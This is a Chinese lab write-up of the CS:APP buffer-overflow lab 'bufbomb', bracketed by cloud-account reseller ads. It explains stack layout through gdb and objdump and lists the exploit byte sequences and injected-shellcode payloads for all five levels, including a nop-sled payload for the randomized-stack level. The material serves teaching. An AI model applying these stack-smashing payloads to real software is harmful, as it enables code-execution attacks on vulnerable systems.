实验三-Bufflab(缓冲区溢出攻击、buffbomb/buffbomb)实验总结

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6

实验准备工作和踩坑总结(实验过程中有一些坑总结在前边

准备工作

  • 首先我们明确该实验缓冲区溢出的实现原理
  • 漏洞就出在getbuf函数中代码如下
  • int getbuf(){
        char buf[12];
        Gets(buf);
        return 1;
    }

    其中Gets函数从输入设备读取字符串用回车/n结束读取但是没有上限而在getbuf函数中调用Gets时分配给Gets的栈帧空间却是有限的因此如果我们输入的字符串序列大于分配给Gets的栈帧空间就会发生缓冲区溢出并覆盖掉getbuf的返回地址、参数空间等等。

  • 本实验就以此展开。

1.首先我将userid设置为sxl如图所示

  1. c721172c4581409596c69b836cf1e8d9.png

因此可以得到专属于我的cookie0x45f61b8d。

2.获取汇编代码txt文件

因为在后续试验中我们要用到bufbomb的汇编代码因此在终端依次输入命令

只是为了方便查看汇编代码与实验进行无关~

ssh username@10.92.13.8  连接到服务器

objdump -d bufbomb > 1.txt

scp username@10.92.8:1.txt 1.txt

就可以得到bufbomb汇编代码的txt文件1.txt方便观察。

3.工具使用

gdb 准备调试程序等同于先gdb,再file.

为函数设置断点。

r -u cookie GDB时以个人专属cookie运行bufbomb

s/n/si/c/kills即step in进入下一行代码运行n即step next。运行下一行代码但不进入。si即step instruction。运行下一条汇编/CPU指令c即continue继续运行直到下一个断点处。kill终止调试。

btbt是backtrace的缩写。打印当前所在函数的堆栈路径。

info frame 描写叙述选中的栈帧。

info args打印选中栈帧的參数。

print 打印指定变量的值。

list列出相应的源码

quit退出gdb。

p/x $ebp: 以16进制输出ebp的值

4.执行命令这里我是用了以下命令

cat 0.txt | ./hex2raw | ./bufbomb -u sxl

这里0.txt中保存输入的字符序列-u 之后则是个人专属cookie

踩坑

1.首先就是level 0中注意‘0a’是换行符‘/n’的ASCII如果输入序列中有0a记得及时变通变通示例见下边level0

2.搞清楚每个函数中ebp的具体位置详情见level1

3.搞清楚leave指令和ret指令的具体操作

leave
       movl %ebp,%esp
       pop %ebp
ret:
       pop eip
  • 实验过程及分析正式开始闯关

Level 0Candle (10 pts)

  1. 这一关是在执行getbuf函数后并不继续进行原来的函数返回而是转去执行smoke函数因此我们先查看一下smoke函数的汇编代码

0ac34f8483054205be16f60d67d3d184.png

由上图可知smoke函数的入口地址为0x08048e0a因此在getbuf函数ret时跳转的地址就应该为0x8048e0a。

2.那我们再观察一下getbuf函数的反汇编代码

1847022bd65249ac9e745815e094d624.png

由上图可知getbuf函数调用读取字符串函数gets时将getbuf的指针地址ebp-0x28传给了gets并且由所学知识可知当getbuf函数返回时return的地址所保存的地址为ebp+4

如下图所示

dc65bdd775d6464d884fc98713bcddc1.png

3.因此我们读入的字符串先将0x2840+4ebp大小=44字节的地址用随意数据填满后额外输入四位将返回地址覆盖掉又因为小端法存储规则因此我们将smoke入口地址按照0a 8e 04 08的顺序输入就可以用smoke入口地址0x08048e0a将getbuf函数原先的返回地址覆盖掉因此就可以实现函数在退出getbuf函数时就会ret到smoke函数处执行smoke函数.

   

4.综上我们首先读入下边字符序列保存在0.txt中

10 10 10 10 10 10 10 10 10 10 20 20 20 20 20 20 20 20 20 20 30 30 30 30 30 30 30 30 30 30 40 40 40 40 40 40 40 40 40 40 50 50 50 50 0a 8e 04 08

并使用命令

cat 0.txt | ./hex2raw | ./bufbomb -u sxl

5.运行b93bcab47a2b4d8b98a67c595832bbdd.png

但是看图发现不行分析之后发现因为0a=‘\n’这是换行符'\n'的ASCII代码。当Gets遇到这个字节时它将假定您打算终止字符串。

因此重新考虑从smoke函数的入口地址的下一个地址进入

affa043f23a44787b8ba640367537cf3.png

也就是0x08048e0b则更新的输入序列为

10 10 10 10 10 10 10 10 10 10 20 20 20 20 20 20 20 20 20 20 30 30 30 30 30 30 30 30 30 30 40 40 40 40 40 40 40 40 40 40 50 50 50 50 0b 8e 04 08

将之保存在0.txt中并运行如下图

d2450ffec82549ed9638cafe1c4a53a9.png

c1207ff249e949668c795395418b264a.png

成功

第Level1Sparkler (10 pts)

  1. 与0关类似此关任务是当执行getbuf后并不会返回到正常位置而是会转去执行fizz代码并且要将cookie值作为参数传递给fizz函数。
  2. 因此我们先查看fizz函数的汇编代码

可以看出其入口地址为0x08048daf.

因此首先我们将返回地址覆盖

020141ee22d0451ca813cc0eea59b225.png

b07b001ee98143a785422f7ee0d37ffe.png

3.难点接下来探讨传递参数的情况因为我们需要将cookie作为参数传递给fizz函数因此先观察fizz函数中参数的传递情况

 31834774fbe44c30961aa655ade1a5cf.png

 从这一步可知ebp+8的位置就是参数的传入位置但是这里要注意这里可能比较绕多看会儿啊亲~

此时ebp+8中的ebp是getbuf函数执行leave操作后的ebp又因为leave操作后就是pop ebp后又会进行ret操作pop eip且栈顶指针esp是会自动进行+4esp+4操作以还原栈帧。而在fizz的汇编代码段中

47c8620fb07c456bbf5b0e212f04f142.png

可以看出push ebp后esp自己-4esp+4-4然后将esp的地址赋予ebp因此可以得出fizz函数中cmp指令中的ebp地址是getbuf函数中ebp+4的地址。

综上此时参数的正确地址就是getbuf中的旧的ebp+4+8我们只需要将参数放置到那里即可下图分析

8d14368f6f3d409bafd8146a46678595.png

 上边黑色注释总结了整个过程

4.综上首先我们用fizz的入口地址将返回地址覆盖然后用cookie值将fizz的参数传入地址覆盖。

具体做法先将44字节用除0a外的任意值填满再将fizz返回地址小端法传入af 8d 04 08,再将cookie8d 1b f6 45传入参数区也就是返回地址的上一个四字节处,因此传入为

9b54b603d65041c1ad3bbb1d32e94dc0.png

5.运行

51b877755b7040799cd73dfc84bab287.png

成功

Level 2: Firecracker (15 pts)

  1. 目的这一关是要执行栈中你指定的特殊指令,该指令的要求是通过编写汇编代码将一个全局变量赋值为cookie值,再去执行bang函数.
  2. 首先查看一下bang函数的入口地址

2522c586dd174eacab83972d92217eab.png

可以看到bang函数的入口地址为0x08048d52。

3.接下来将global_value全局变量的值改为cookie0x45f61b8d

 1首先观察global_value的存储位置

ef31a8fc631a43d8bb92ed9006db4305.png

因此可以得出global_value存放地址为0x804d10c

 2写汇编代码进行修改global_value并且跳到bang函数入口地址:

7695605c514244ac90fe0026f7ed044e.png

注意编译时将注释删掉

保存为test.s汇编文件编译之后用反汇编得到指令序列

98c939724b3f442594d16e73c3e1d23e.png

因此可以得到修改global_value的指令序列为

 b8 8d 1b f6 45

b9 0c d1 04 08       

89 01

68 52 8d 04 08

c3

3很重要因为在我自己的test.s汇编文件中实现了对于global_value的修改和向bang的跳转又因为我们输入的字符串的起始地址为ebp-0x28因此getbuf在执行完毕返回时需要跳转到我们指令的起始地址也就是此时的ebp-0x28因此我们通过gdb调试获取ebp-0x28的绝对地址如下图

d05c170aacfb41149bff057cb45be229.png

因此可以看出ebp存储为0x55683088

综上分析情况见下图

91c87a97243641d4bee2bd49317d069c.png

42.txt文件为

34b01e301c4f4c898f2dd80982cec6da.png

5运行

0f8e1407b2a24c5e8c810e88f4ccfa3d.png

成功

Level 3: Dynamite (20 pts)

1.目的与之前几关有所不同这一关是要修改getbuf()函数的返回值(正常状态为0x1)为你的cookie值,然后让函数正常返回到test注意恢复各个寄存器的状态让test察觉不到我们动了什么手脚。

2.首先明确函数调用和我们要进行操作的过程

任务一test在调用getbuf之后正常返回到test也就是返回地址为call getbuf的下一条指令地址此处返回地址为0x08048e50

任务二将getbuf的返回值设置为自己的cookie这里我的cookie为0x45f61b8d又因为返回值存储寄存器为eax因此将cookie值赋值给寄存器eax即可。

综上汇编代码编写就围绕上述两任务展开。

3.接下来来看一下test()代码得到任务一中所需的返回地址

9af754c85e314754a71f6fbf434636ff.png

从上图可以看得到

汇编代码中压入栈的返回地址为0x08048e50(call getbuf的下一条地址)

且给eax传入的cookie值为0x45f61b8d把你自己的cookie传入就行

4.根据要求编写汇编代码

如下

558393faf8c34928bc321d194bd187a2.png

编译test3.sgcc -c test3.s -o test3.o

反汇编test3.o文件objdump -d test3.o得到指令序列:

ed9eaa3c35e14d9ea88cc3c6b7bd8582.png

 补充编译.s文件和反汇编的指令为

gcc -c test3.s -o test3.o

objdump -d test3.o

得到所需指令序列为

    b8 8d 1b f6 45       

    68 50 8e 04 08       

    c3    

5.分析我们输入字符串的组成              

 分析

  1. 返回地址因为在本关中我们在进行缓冲区攻击时首先是从ebp-0x28的地址开始读入字符串读入时我们将需要执行的指令序列同样是以ebp-0x28为首地址进行输入因此在读入字符串结束后我们需要将ebp-0x28的地址作为返回地址这样在读入字符串结束后就会重新跳转到ebp-0x28的地址处执行我们的汇编程序而在汇编程序中就会返回到test的正确地址就是

47ff1b6873e6419a9442499a2efc35a9.png这一步啦~

2重点ebp的状态恢复问题多看会儿这儿哦

由1中的分析可以看出在缓冲区攻击过程中是将栈帧中保存的old_ebp覆盖掉了而为了保证ebx的正确恢复我们需要提前知道此时old_ebp的保存值并用一样的值进行覆盖其实就是不想动它。

综上输入序列示意图为

ebbe603d4c7e474e814f0aeec2bd8d3b.png

6.组成输入序列3.txt

1首先是汇编指令序列b8 8d 1b f6 45 68 50 8e 04 08 c3   

2随意填充足够40字节

b8 8d 1b f6 45 68 50 8e 04 08       

c3 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

3找到old_ebp的值并组成输入序列难点就在这儿

分析

GDB调试给getbuf()断点并得到此时ebp的值

b *0x08048e50  //给call getbuf的下一条地址断点
               //那为什么要在此处断点呢
               //因为我们此时是要查看不进行缓冲区攻击时ebp的正常值因此断点在调用getbuf 
                也就是call getbuf()下一条指令的地址处
r -u sxl       //执行

P/x $ebp  //16进制打印ebp的值

fe6e635050af4624a67f2be3d924e878.png

此时输入序列为

b8 8d 1b f6 45 68 50 8e 04 08       

c3 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

e0 30 68 55

4将返回地址ebp-0x28写入输入序列

分析

利用GDB调试找到ebp-0x28的绝对地址如下

40148f1e39804feb8e0554496bf150c1.png

此时输入序列为

b8 8d 1b f6 45 68 50 8e 04 08       

c3 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

e0 30 68 55 88 30 68 55

7.测试运行

73166b102e234ea4a22c7ca9a0c4365f.png

成功            

Level 4: Nitroglycerin (10 pts)

1、问题分析

    与level3及其类似但是不同之处在于这里要用到新函数getbufn()和testn并且这一关的执行指令也有所变化执行时要加上-n参数。

    而getbufn和getbuf的区别就是getbuf只调用一次getbufn则是被调用五次并且我们要实现每一次getbufn的返回值是cookie且调用五次getbufn之后最终返回到的地址是testn。

2、明确目标

综上我们的目标就有以下几步

  1. 将每一次getbufn的返回值改为个人专属cookie值。
  2. 将getbufn调用五次后的返回地址设为testn的入口地址
  3. 每一次调用后恢复ebp以便下次成功调用。

因此我们汇编代码的编写就以上述三个目标进行实现。

3、那就按部就班首先查看一下getbufn的汇编代码

f8520cc987384f4ba4a1ea483338ba6e.png

分析可以看出该函数中给字符串输入的区域变得很大缓冲区大小为0x208

4、再查看一下testn函数找到所需要的返回地址也就是call getbuf的下一条指令的地址

2e051da1a4c744d0b14640244e026c97.png

可以看到返回地址为0x08048ce2。

因此汇编代码中要入栈的地址为0x08048ce2。

且汇编代码中给eax传入的cookie值为0x45f61b8d因为返回值是存储在eax中的。

5、接下来讨论ebp的恢复问题难点这里多看看

到此时汇编代码中两项任务已经完成还差一项也是区别于第三关的一项那就是因为本关中调用getbuf函数时栈的位置ebp会发生变化因此每一次调用之后就要将之恢复。

其实这个操作我们已经比较熟悉了就在第三关中我们也用到了这个操作详情可以回顾一下第三关的解决办法其实就是调试出call getbuf之后的ebp的值并在输入的字符序列中覆盖它让它维持稳定。

但是这里显然不能这么做因为我们要调用5次getbufn所以我们就找一个与getbufn的ebp有关系的东西恢复它。显而易见所谓有关系的东西就是它的长期合作伙伴esp啦那我们就先看一下在每一次的调用中它两是啥关系因此我们再来回顾一下getbuf函数汇编代码

106ace9abcfb4543a4c903635b0b7936.png

 可以看出ebp比esp大0x28因此每一次调用getbufn之后就可以使用

esp+0x28=ebp来恢复ebp。

6、汇编代码实现

      综上我们就可以实现我们需要的汇编代码

 e67ca0da1b444d0295ad837f85a299c9.png

gcc -c test4.s -o test4.o //编译

objdump -d test4.o        //反汇编

得到指令序列:

1623b4f56cc64d4dbf6f76b178cea6c2.png

因此我们得到的指令序列为

    8d 6c 24 28          

    b8 8d 1b f6 45       

    68 e2 8c 04 08       

    c3                   

         

7、从开始到这儿为止我们分析实现了需要的汇编代码并得到了对应的指令序列那接下来让我们完成最后一步吧胜利就在眼前奥利给冲冲冲组成我们的输入字符串序列一步步来喔别急~

首先确定指令序列为 8d 6c 24 28 b8 8d 1b f6 45 68 e2 8c 04 08 c3  

那为了在输入字符串之后成功执行我们的指令序列我们就需要将getbuf函数的返回地址覆盖为我们输入的指令序列的开头位置就是为了正确执行我们的汇编代码

所以GDB调试出五次调用中最大的输入首地址

b getbufn

r -n -u sxl     //注意加上-n

p/x ($ebp-0x208)

c               //continue

96aa66a8019445fa96c17b4eea1801af.png

见上图红色标注五个地址中最大的地址为0x55682ed8。

所以这里就得到了最后所需的覆盖返回地址了。

注意

这里要分清我们要覆盖的返回地址和在汇编代码中入栈的返回地址的区别

  1. 要覆盖的返回地址是为了执行我们输入的指令序列因此使用五次调用getbuf时最大的字符输入首地址将之覆盖。
  2. 入栈的返回地址正常返回到testn的真正返回地址。

所以说执行顺序为

读入字符串序列—>然后返回到我们读入的指令序列的首地址—>执行我们输入的指令序列在这个指令中就实现了汇编代码中的操作。

8、组成最终的输入字符串

     因为在-n环境下运行缓冲区大小为0x208520,因此前520+4字节用指令序列和nop90填充最后四字节用返回地址覆盖如下图

9b8e485f1ddf4bea8802cc68f82ea501.png

因此可以得出最终的输入字符串为

39a406d68ce7411c8ba1b1897472aae6.png

运行

cat 4.txt | ./hex2raw -n | ./bufbomb -n -u sxl

 注意指令有变记得加-n。8bc9e3a32c3c4ec6b6a68ca4132b5b0d.png

成功芜湖

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6